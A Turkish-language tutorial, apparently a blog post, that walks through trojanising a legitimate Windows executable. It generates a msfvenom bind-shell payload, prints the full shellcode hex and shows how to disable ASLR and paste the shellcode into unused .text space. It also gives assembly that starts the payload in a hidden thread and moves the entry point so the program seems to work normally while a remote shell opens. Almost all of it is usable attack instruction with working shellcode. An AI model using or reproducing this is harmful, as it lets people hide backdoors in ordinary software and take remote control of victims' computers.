Bu yazımızda sıradan bir exe dosyasının içerisine kendi zararlı kodumuzu yerleştirerek program çalışmasında hiç bir hata olmadan zararlı kodun arka planda nasıl çalıştırılabileceğine bakacağız.
Öncelikle bize bir zararlı kod gerekiyor bunu en kolay yöntem olarak aşağıdaki komut ile msfvenom üzerinden elde edebiliriz.
msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp -b '\x00' -f python LPORT=3333 -e no-encoder
Dikkat etmeniz gereken kısım no-encoder parametresi burada default olarak genelde shikata ga nai encoder ile çıktı verilmektedir. Bu şifreleme yönteminde ise anti-debug koruması sağlayan bazı instructionlar bulunur bu nedenle debuggerde exe üzerinde düzenleme yaparken uygulama hata verip çalışmayı durdurabilir. Zararlı kodunuzu encode etmek istiyorsanız anti-debug koruması olmayan encoderler tercih edilebilir yada doğru çalışıp çalışmadığını denemek için kaydedilip debugger dışında çalıştırılabilir.
Yukarıdaki komut bize python içerisinde kullanabileceğimiz bir kod verecektir. Bu kodları metin editörde bir kaç replace işlemi ile sadece hex değerler kalacak şekilde çıkartabilirsiniz. Hex olarak elde ettikten sonra işlemlerimizin kolay yapılabilmesi için aşağıdaki gibi küçük bir python kod paçası ile düzenleyebiliriz. Bu düzenleme ne kadarlık bir alan kapladığını hesaplama açısından kolaylık sağlayacaktır.
data="fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd5976802000d0589e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5"
line=""
for i in data:
line+=i
if(len(line) == 32):
print(line)
line=""
print(line)
Bu kodun çıktısı bize aşağıdaki gibi bir sonuç verecektir.
fce8820000006089e531c0648b50308b
520c8b52148b72280fb74a2631ffac3c
617c022c20c1cf0d01c7e2f252578b52
108b4a3c8b4c1178e34801d1518b5920
01d38b4918e33a498b348b01d631ffac
c1cf0d01c738e075f6037df83b7d2475
e4588b582401d3668b0c4b8b581c01d3
8b048b01d0894424245b5b61595a51ff
e05f5f5a8b12eb8d5d68333200006877
73325f54684c772607ffd5b890010000
29c454506829806b00ffd56a085950e2
fd4050405068ea0fdfe0ffd597680200
0d0589e66a10565768c2db3767ffd557
68b7e938ffffd5576874ec3be1ffd557
9768756e4d61ffd568636d640089e357
575731f66a125956e2fd66c744243c01
018d442410c60044545056565646564e
565653566879cc3f86ffd589e04e5646
ff306808871d60ffd5bbf0b5a25668a6
95bd9dffd53c067c0a80fbe07505bb47
13726f6a0053ffd5
Bu işlem biz hex editörde çalışırken işlem kolaylığı sağlayacak. Buradan sonra zararlı kodun yerleştirileceği hedef exe uygulamamızı seçmemiz gerekiyor. Bu seçimde exe derlenirken ASLR koruması var ise setdllcharacteristics aracı ile bu güvenlik önlemini devre dışı bırakabiliriz. Bu aracı aşağıdaki komut ile çalıştırmanız yeterlidir.
setdllcharacteristics.exe -d bintext.exe
Ben bintext.exe adında bir uygulama içerisine shelcode yerleştirmek istiyorum. Öncelikle burada cff explorer ile bu dosyayı açarsak text sectionu altında bir kısım boş alan olduğunu görebiliriz
Biz kodlarımızı bu alan içerisine yazacağız ancak daha büyük bir kod parçası yerleştirmek isterseniz yeni sectionlar oluşturabilirsiniz. Dikkat gerektiren nokta kodlarımızı yürütme izninin olduğu bir alana yazmak. Resimde .text sectionun raw adresi 400, raw size 3600 olarak gösterilmektedir. Bu değerler hexedecimal olarak gösterilmektedir. 400 + 3600 = 3A00 adresinde bizim text alanımızın sonlandığını bilmekteyiz.
Eğer biz bir hex editörden exe dosyamızı açıp 3A00 adresine gidersek bu adresten önce biraz boş alan olduğunu görebiliriz. Bu alana az önce elde ettiğimiz hex kodları yapıştırmamız gerekmekte ancak dosya boyutunun değişmediğinden emin olmalıyız. Eğer dosya boyutu değişirse uygulamamız çalışmayacaktır.
Bu değişiklikleri kayıt ettikten sonra debugger aracı ile uygulamamızı açtığımızda uygulamanın entry pointine kadar çalıştıralım daha sonra sayfanın en altına indikten sonra yukarıya doğru biraz çıkarsak bizim eklediğimiz hex kodlarını görebiliriz. Ben x32dbg kullanıyorum.
Buranın üst tarafında “add byte ptr ds:[eax],al” komutlarını görebiliriz. bu komutlar aslında işlenmeyen sadece boş 00 baytlarını debuggerin yorumlamaya çalışmasından kaynaklı çıkan komutlardır. Biz bu alanlar üzerinde istediğimiz gibi düzenleme yapabiliriz. Bizim Programımızın düzgün çalışabilmesi için oraya aşağıdaki gibi bir kodlama yapılabilir.
nop
cld
pushad
pushfd
push ebp
mov ebp,esp
push 0
push 0
push 0
push bintext.4044B0
//shellcode adresi
push 0
push 0
nop
call dword ptr ds:[]
//fonksiyon çağrısı
nop
pop ebp
popfd
popad
nop
jmp
//gerçek entry point
nop
nop
Bu asm kodları zararlı kodu bir thread içerisinde çalıştırarak asıl programa etki etmeden çalışmasını sağlayacaktır. Yukarıdaki kodda öncelikle flag ve register verilerini stacka atıyoruz bu verileri kaybetmek programın hatalı çalışmasına neden olabilir. Daha sonra CreateThread fonksiyonu için gerekli parametreleri stacka atıyoruz. Burada parametreleri sağdan sola şekilde push işlemini yapıyoruz. Asm kodlarında görünen CreateThread yerine adresini yazmamız gerekiyor debugger otomatik olarak onu fonksiyon şeklinde yorumlanıyor. bintext.4044B0 değeride bizim zararlı kodlarımızın başlangıç adresidir. Burada başlangıç adresinden önce bir kaç nop koymakta fayda var. CreateThread adresinide import edilen fonksiyonun adresi olacak şekilde yazmalıyız yoksa erişim hatası alabilirsiniz.
Bu kodlamayı yaptıktan sonra debugger size hex karşılıklarını gösterecektir. Bu hex değerlerini kopyalayarak hex editörde zararlı kodlarımızdan önce yapıştıralım ve kayıt edelim. Öncelikle kodlarımızdaki jmp ve push için kullanılan adreslerinin doğru olduğunu kontrol etmemiz gerekmekte eğer yanlışlık varsa aynı yöntem ile tekrar düzeltelim. Her şey tamamlandığında adreslerden dolayı küçük farklılıklar olabilir ama genel yapı aşağıdaki gibi olacaktır.
Buradan sonra programın ilk çalışmaya başladığı yer olan entry pointini bizim zararlıyı thread olarak başlatacak olan fonksiyonun başlangıcına atamamız gerekmekte. Bunu yapmanın en basit yolu debugger üzerinde programı açtığımızda entry point adresi 0x0040422D adresini göstermektedir. Bizim zıplama fonksiyonumuz ise 0x00404451 adresini göstermektedir. Bu iki adresi bir birinden çıkartırsak 0x00404451 – 0x0040422D = 0x224 değerini elde ederiz. Bu değer bizim entry pointimizin kayması gereken değer. CFF Explorerde uygulamamızın son halini açarsak entry pointinin 0x422D olduğunu görebiliriz. 0x422D + 0x224 = 0x4451 adresi bizim yeni entry pointimiz olmalı. Adresimizi düzenleyip cff üzerinde exeyi kayıt edersek bütün işlemlerimiz bitmiş oluyor. Bu exe çalıştığı sürece shellcode thread olarak çalışacaktır.
Başka bir bilgisayardan bağlantı isteği attığımızda ise shelle düşebiliriz.
Bu kodların birebir sizin bilgisayarınızda çalışmayacaktır seçtiğiniz exe dosyası, derleyici, adresler gibi bir çok farklılıklar olabilir. Bu mantıkta yazarak adresleri kendinize göre yeniden düzenlemeniz gerekmektedir.